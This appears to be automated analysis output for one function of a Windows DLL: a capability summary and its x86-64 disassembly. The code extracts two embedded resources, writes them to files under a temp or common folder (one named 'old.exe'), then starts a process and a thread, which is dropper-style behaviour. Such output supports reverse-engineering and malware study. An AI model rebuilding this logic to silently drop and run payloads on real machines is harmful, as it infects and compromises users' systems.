Function at 0x180010870
Capabilities:
Create directory
Create process on windows
Create thread
Delete file
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push r12
sub rsp, 0x5f0
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x5e0], rax
lea rcx, [rsp + 0x4d1]
xor r12d, r12d
xor edx, edx
mov r8d, 0x103
mov qword [rsp + 0x618], rdi
mov byte [rsp + 0x4d0], r12b
call fcn.180055310
lea rcx, [rsp + 0x3c1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x3c0], r12b
call fcn.180055310
lea rdx, [rsp + 0x3c0]
xor r9d, r9d
mov qword [rsp + 0x20], rdx
lea edx, [r12 + 0x1a]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x180010909
lea rdx, [rsp + 0x3c0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
jmp 0x180010959
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x3c0]
repne scasb al, byte [rdi]
mov eax, dword [str._tmep_]
lea rcx, [rsp + 0x3c0]
mov dword [rdi - 1], eax
movzx eax, word [0x1800830e8]
mov word [rdi + 3], ax
movzx eax, byte [0x1800830ea]
mov byte [rdi + 5], al
call qword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
jne 0x180010959
lea rcx, [rsp + 0x3c0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
xor eax, eax
lea rcx, [rsp + 0x1a1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x120], r12b
mov qword [rsp + 0x121], rax
mov qword [rsp + 0x129], rax
mov qword [rsp + 0x131], rax
mov qword [rsp + 0x139], rax
mov qword [rsp + 0x141], rax
mov qword [rsp + 0x149], rax
mov qword [rsp + 0x151], rax
mov dword [rsp + 0x159], eax
mov word [rsp + 0x15d], ax
mov byte [rsp + 0x15f], al
mov byte [rsp + 0x160], al
mov qword [rsp + 0x161], rax
mov qword [rsp + 0x169], rax
mov qword [rsp + 0x171], rax
mov qword [rsp + 0x179], rax
mov qword [rsp + 0x181], rax
mov qword [rsp + 0x189], rax
mov qword [rsp + 0x191], rax
mov dword [rsp + 0x199], eax
mov word [rsp + 0x19d], ax
mov byte [rsp + 0x19f], al
mov byte [rsp + 0x1a0], al
call fcn.180055310
lea rcx, [rsp + 0x2b1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x2b0], r12b
call fcn.180055310
xor eax, eax
lea rcx, [rsp + 0xe0]
mov byte [rsp + 0xe0], r12b
mov qword [rsp + 0xe1], rax
mov qword [rsp + 0xe9], rax
mov qword [rsp + 0xf1], rax
mov qword [rsp + 0xf9], rax
mov qword [rsp + 0x101], rax
mov qword [rsp + 0x109], rax
mov qword [rsp + 0x111], rax
mov dword [rsp + 0x119], eax
mov word [rsp + 0x11d], ax
mov byte [rsp + 0x11f], al
call fcn.180034630
mov rdx, r12
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0xe0]
inc rdx
mov byte [rsp + rdx + 0x11f], al
test al, al
jne 0x180010ab0
mov rcx, r12
nop dword [rax]
movzx eax, byte [rsp + rcx + 0xe0]
inc rcx
mov byte [rsp + rcx + 0x15f], al
test al, al
jne 0x180010ad0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x120]
repne scasb al, byte [rdi]
mov rax, qword [str.old.exe]
or rcx, 0xffffffffffffffff
mov qword [rdi - 1], rax
xor eax, eax
lea rdi, [rsp + 0x160]
repne scasb al, byte [rdi]
mov eax, dword [0x1800803c0]
mov rcx, r12
mov dword [rdi - 1], eax
movzx eax, byte [0x1800803c4]
mov byte [rdi + 3], al
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x3c0]
inc rcx
mov byte [rsp + rcx + 0x2af], al
test al, al
jne 0x180010b30
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x2b0]
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x160]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x180010b60
mov rcx, qword [0x1800a2978]
mov qword [rsp + 0x600], rbx
lea r8, [0x180082bdc]
mov edx, 0x69
mov qword [rsp + 0x608], rbp
mov qword [rsp + 0x610], rsi
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdi, rax
test rax, rax
je 0x180010c60
mov rcx, qword [0x1800a2978]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, qword [0x1800a2978]
mov rdx, rdi
mov esi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rcx, r12
mov rbp, rax
movzx eax, byte [rsp + rcx + 0x3c0]
inc rcx
mov byte [rsp + rcx + 0x19f], al
test al, al
jne 0x180010be0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x1a0]
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x120]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x180010c10
lea rdx, [0x180080678]
lea rcx, [rsp + 0x1a0]
call fcn.180050a28
mov rdi, rax
test rax, rax
je 0x180010c57
mov rdx, rsi
mov r9, rax
mov r8d, 1
mov rcx, rbp
call fcn.180050ccc
mov rcx, rdi
call fcn.1800511e8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0x1a0]
call fcn.180033c30
test eax, eax
je 0x180010c89
lea rcx, [rsp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x180010c9e
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0x1a0]
call fcn.1800505c4
mov rcx, r12
movzx eax, byte [rsp + rcx + 0x2b0]
inc rcx
mov byte [rsp + rcx + 0x4cf], al
test al, al
jne 0x180010ca1
xor eax, eax
lea rcx, [rsp + 0x1a1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0xe0], r12b
mov qword [rsp + 0xe1], rax
mov qword [rsp + 0xe9], rax
mov qword [rsp + 0xf1], rax
mov qword [rsp + 0xf9], rax
mov qword [rsp + 0x101], rax
mov qword [rsp + 0x109], rax
mov qword [rsp + 0x111], rax
mov dword [rsp + 0x119], eax
mov word [rsp + 0x11d], ax
mov byte [rsp + 0x11f], al
mov byte [rsp + 0x160], al
mov qword [rsp + 0x161], rax
mov qword [rsp + 0x169], rax
mov qword [rsp + 0x171], rax
mov qword [rsp + 0x179], rax
mov qword [rsp + 0x181], rax
mov qword [rsp + 0x189], rax
mov qword [rsp + 0x191], rax
mov dword [rsp + 0x199], eax
mov word [rsp + 0x19d], ax
mov byte [rsp + 0x19f], al
mov byte [rsp + 0x1a0], al
call fcn.180055310
lea rcx, [rsp + 0x2b1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x2b0], r12b
call fcn.180055310
xor eax, eax
lea rcx, [rsp + 0x120]
mov byte [rsp + 0x120], r12b
mov qword [rsp + 0x121], rax
mov qword [rsp + 0x129], rax
mov qword [rsp + 0x131], rax
mov qword [rsp + 0x139], rax
mov qword [rsp + 0x141], rax
mov qword [rsp + 0x149], rax
mov qword [rsp + 0x151], rax
mov dword [rsp + 0x159], eax
mov word [rsp + 0x15d], ax
mov byte [rsp + 0x15f], al
call fcn.180034630
mov rdx, r12
movzx eax, byte [rsp + rdx + 0x120]
inc rdx
mov byte [rsp + rdx + 0xdf], al
test al, al
jne 0x180010e05
mov rcx, r12
nop
movzx eax, byte [rsp + rcx + 0x120]
inc rcx
mov byte [rsp + rcx + 0x15f], al
test al, al
jne 0x180010e20
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0xe0]
repne scasb al, byte [rdi]
mov rax, qword [str.old.exe]
or rcx, 0xffffffffffffffff
mov qword [rdi - 1], rax
xor eax, eax
lea rdi, [rsp + 0x160]
repne scasb al, byte [rdi]
mov eax, dword [0x1800803c0]
mov rcx, r12
mov dword [rdi - 1], eax
movzx eax, byte [0x1800803c4]
mov byte [rdi + 3], al
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x3c0]
inc rcx
mov byte [rsp + rcx + 0x2af], al
test al, al
jne 0x180010e80
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x2b0]
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x160]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x180010eb0
mov rcx, qword [0x1800a2978]
lea r8, [0x180082bdc]
mov edx, 0x67
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdi, rax
test rax, rax
je 0x180010fa1
mov rcx, qword [0x1800a2978]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, qword [0x1800a2978]
mov rdx, rdi
mov esi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, r12
mov rbp, rax
nop dword [rax + rax]
movzx eax, byte [rsp + rdx + 0x3c0]
inc rdx
mov byte [rsp + rdx + 0x19f], al
test al, al
jne 0x180010f20
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x1a0]
repne scasb al, byte [rdi]
xor ecx, ecx
lea r8, [rsp + 0xe0]
movzx eax, byte [r8 + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x180010f50
lea rdx, [0x180080678]
lea rcx, [rsp + 0x1a0]
call fcn.180050a28
mov rdi, rax
test rax, rax
je 0x180010f98
mov rdx, rsi
mov r9, rax
mov r8d, 1
mov rcx, rbp
call fcn.180050ccc
mov rcx, rdi
call fcn.1800511e8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0x1a0]
call fcn.180033c30
mov rdi, qword [rsp + 0x618]
mov rsi, qword [rsp + 0x610]
mov rbp, qword [rsp + 0x608]
mov rbx, qword [rsp + 0x600]
test eax, eax
je 0x180010fea
lea rcx, [rsp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x180010fff
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0x1a0]
call fcn.1800505c4
mov rcx, r12
lea rdx, [0x1800a59a0]
nop dword [rax]
movzx eax, byte [rsp + rcx + 0x2b0]
inc rcx
mov byte [rcx + rdx - 1], al
test al, al
jne 0x180011010
xor edx, edx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x68]
call fcn.180055310
xor eax, eax
lea rdx, [rsp + 0x4d0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
xor ecx, ecx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x70], WSAGetLastError
mov dword [rsp + 0xac], 1
mov dword [rsp + 0x20], r12d
mov word [rsp + 0xb0], r12w
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1800110c7
lea r8, [0x180010350]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
jmp 0x1800110ca
mov eax, r12d
mov rcx, qword [rsp + 0x5e0]
xor rcx, rsp
call fcn.180050540
add rsp, 0x5f0
pop r12
ret